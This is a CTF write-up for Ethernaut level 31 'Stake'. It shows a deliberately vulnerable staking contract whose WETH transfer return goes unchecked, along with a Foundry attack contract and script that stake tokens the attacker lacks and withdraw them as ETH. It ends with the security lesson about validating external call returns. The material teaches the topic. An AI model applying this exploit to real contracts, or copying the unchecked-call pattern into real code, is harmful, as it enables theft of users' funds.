# Level 31 - Stake ⏺⏺⏺

{% embed url="<https://ethernaut.openzeppelin.com/level/31>" %}

### Level Setup

{% hint style="info" %}
Stake is safe for staking native ETH and ERC20 WETH, considering the same 1:1 value of the tokens. Can you drain the contract?

To complete this level, the contract state must meet the following conditions:

* The `Stake` contract's ETH balance has to be greater than 0.
* `totalStaked` must be greater than the `Stake` contract's ETH balance.
* You must be a staker.
* Your staked balance must be 0.

Things that might be useful:

* [ERC-20](https://github.com/ethereum/ercs/blob/master/ERCS/erc-20.md) specification.
* [OpenZeppelin contracts](https://github.com/OpenZeppelin/openzeppelin-contracts)
  {% endhint %}

### Level Contract

{% embed url="<https://github.com/OpenZeppelin/ethernaut/blob/a89c8f7832258655c09fde16e6602c78e5e99dbd/contracts/src/levels/Stake.sol>" %}

{% code lineNumbers="true" fullWidth="true" %}

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Stake {

    uint256 public totalStaked;
    mapping(address => uint256) public UserStake;
    mapping(address => bool) public Stakers;
    address public WETH;

    constructor(address _weth) payable{
        totalStaked += msg.value;
        WETH = _weth;
    }

    function StakeETH() public payable {
        require(msg.value > 0.001 ether, "Don't be cheap");
        totalStaked += msg.value;
        UserStake[msg.sender] += msg.value;
        Stakers[msg.sender] = true;
    }
    function StakeWETH(uint256 amount) public returns (bool){
        require(amount >  0.001 ether, "Don't be cheap");
        (,bytes memory allowance) = WETH.call(abi.encodeWithSelector(0xdd62ed3e, msg.sender,address(this)));
        require(bytesToUint(allowance) >= amount,"How am I moving the funds honey?");
        totalStaked += amount;
        UserStake[msg.sender] += amount;
        (bool transfered, ) = WETH.call(abi.encodeWithSelector(0x23b872dd, msg.sender,address(this),amount));
        Stakers[msg.sender] = true;
        return transfered;
    }

    function Unstake(uint256 amount) public returns (bool){
        require(UserStake[msg.sender] >= amount,"Don't be greedy");
        UserStake[msg.sender] -= amount;
        totalStaked -= amount;
        (bool success, ) = payable(msg.sender).call{value : amount}("");
        return success;
    }
    function bytesToUint(bytes memory data) internal pure returns (uint256) {
        require(data.length >= 32, "Data length must be at least 32 bytes");
        uint256 result;
        assembly {
            result := mload(add(data, 0x20))
        }
        return result;
    }
}
```

{% endcode %}

### Exploit

{% tabs %}
{% tab title="Anvil" %}

```bash
make anvil-exploit-level-31

<INPUT_LEVEL_INSTANCE_CONTRACT_ADDRESS>
```

{% endtab %}

{% tab title="Holesky" %}

```bash
make holesky-exploit-level-31

<INPUT_LEVEL_INSTANCE_CONTRACT_ADDRESS>
```

{% endtab %}
{% endtabs %}

{% tabs %}
{% tab title="Exploit Contract" %}
{% embed url="<https://github.com/EridianAlpha/ethernaut-foundry/blob/51c13556556d7786c3d3aae552a8d9fa18b32d81/src/Level31.sol>" %}

{% code title="src/Level31.sol" %}

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

// ================================================================
// │                        LEVEL 31 - STAKE                      │
// ================================================================
interface IStake {
    function StakeETH() external payable;
}

contract AttackContract {
    IStake private immutable stake;

    constructor(address _stakeContract) payable {
        stake = IStake(_stakeContract);
    }

    function attack() external payable {
        // Become a staker with 0.001 ETH + 2 wei (1 will be left behind)
        stake.StakeETH{value: msg.value}();
    }
}
```

{% endcode %}
{% endtab %}

{% tab title="Exploit Deployment Script" %}
{% embed url="<https://github.com/EridianAlpha/ethernaut-foundry/blob/51c13556556d7786c3d3aae552a8d9fa18b32d81/script/Level31.s.sol>" %}

{% code title="script/Level31.s.sol" %}

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {Script, console} from "forge-std/Script.sol";
import {HelperFunctions} from "script/HelperFunctions.s.sol";

import {AttackContract} from "src/Level31.sol";

// ================================================================
// │                        LEVEL 31 - STAKE                      │
// ================================================================
interface IWETH {
    function approve(address spender, uint256 amount) external returns (bool);
    function transfer(address recipient, uint256 amount) external returns (bool);
}

interface IStake {
    function WETH() external view returns (address);
    function totalStaked() external view returns (uint256);
    function StakeETH() external payable;
    function StakeWETH(uint256 amount) external returns (bool);
    function Unstake(uint256 amount) external returns (bool);
    function Stakers(address) external view returns (bool);
    function UserStake(address) external view returns (uint256);
}

contract Exploit is Script, HelperFunctions {
    function run() public {
        address targetContractAddress = getInstanceAddress();
        IStake stake = IStake(targetContractAddress);
        uint256 amount = 0.001 ether + 1 wei;
        IWETH weth = IWETH(stake.WETH());

        vm.startBroadcast();

        // Deploy the AttackContract contract and stake some ETH
        AttackContract attackContract = new AttackContract(address(stake));
        attackContract.attack{value: amount + 1 wei}();

        // Become a staker
        stake.StakeETH{value: amount}();

        // Approve the stake contract to use WETH
        weth.approve(address(stake), amount);

        // Stake WETH (that we don't have!)
        stake.StakeWETH(amount);

        // Unstake ETH + WETH (leave 1 wei in Stake contract)
        stake.Unstake(amount * 2);

        // 1. The Stake contract's ETH balance has to be greater than 0
        console.log("Stake contract ETH balance:", address(stake).balance);
        require(address(stake).balance > 0, "Stake balance == 0");

        // 2. totalStaked must be greater than the Stake contract's ETH balance
        console.log("Total staked:", stake.totalStaked());
        require(stake.totalStaked() > address(stake).balance, "Balance > Total staked");

        // 3. You must be a staker.
        console.log("You are a staker:", stake.Stakers(address(msg.sender)), address(msg.sender));
        require(stake.Stakers(address(msg.sender)), "You are not a staker");

        // 4. Your staked balance must be 0.
        console.log("Your staked balance:", stake.UserStake(address(msg.sender)));
        require(stake.UserStake(address(msg.sender)) == 0, "Your staked balance != 0");

        vm.stopBroadcast();
    }
}
```

{% endcode %}
{% endtab %}
{% endtabs %}

2. Submit instance... 🥳

### Completion Message

{% hint style="info" %}
Congratulations, you have cracked the `Stake` machine!

When performing low-level calls to external contracts, it is important to properly validate external call returns to determine whether the call reverted.

For more info, check out [EEA EthTrust \[S\] Check External Calls Return](https://entethalliance.github.io/eta-registry/security-levels-spec.html#req-1-check-return) requirement, and always use [SafeERC20](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/utils/SafeERC20.sol) when interacting with external ERC-20 tokens.
{% endhint %}

### Notes

{% embed url="<https://blog.pedrojok.com/the-ethernaut-ctf-solutions-31-stake>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://docs.eridian.xyz/ethereum-dev/defi-challenges/ethernaut/level-31-stake.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
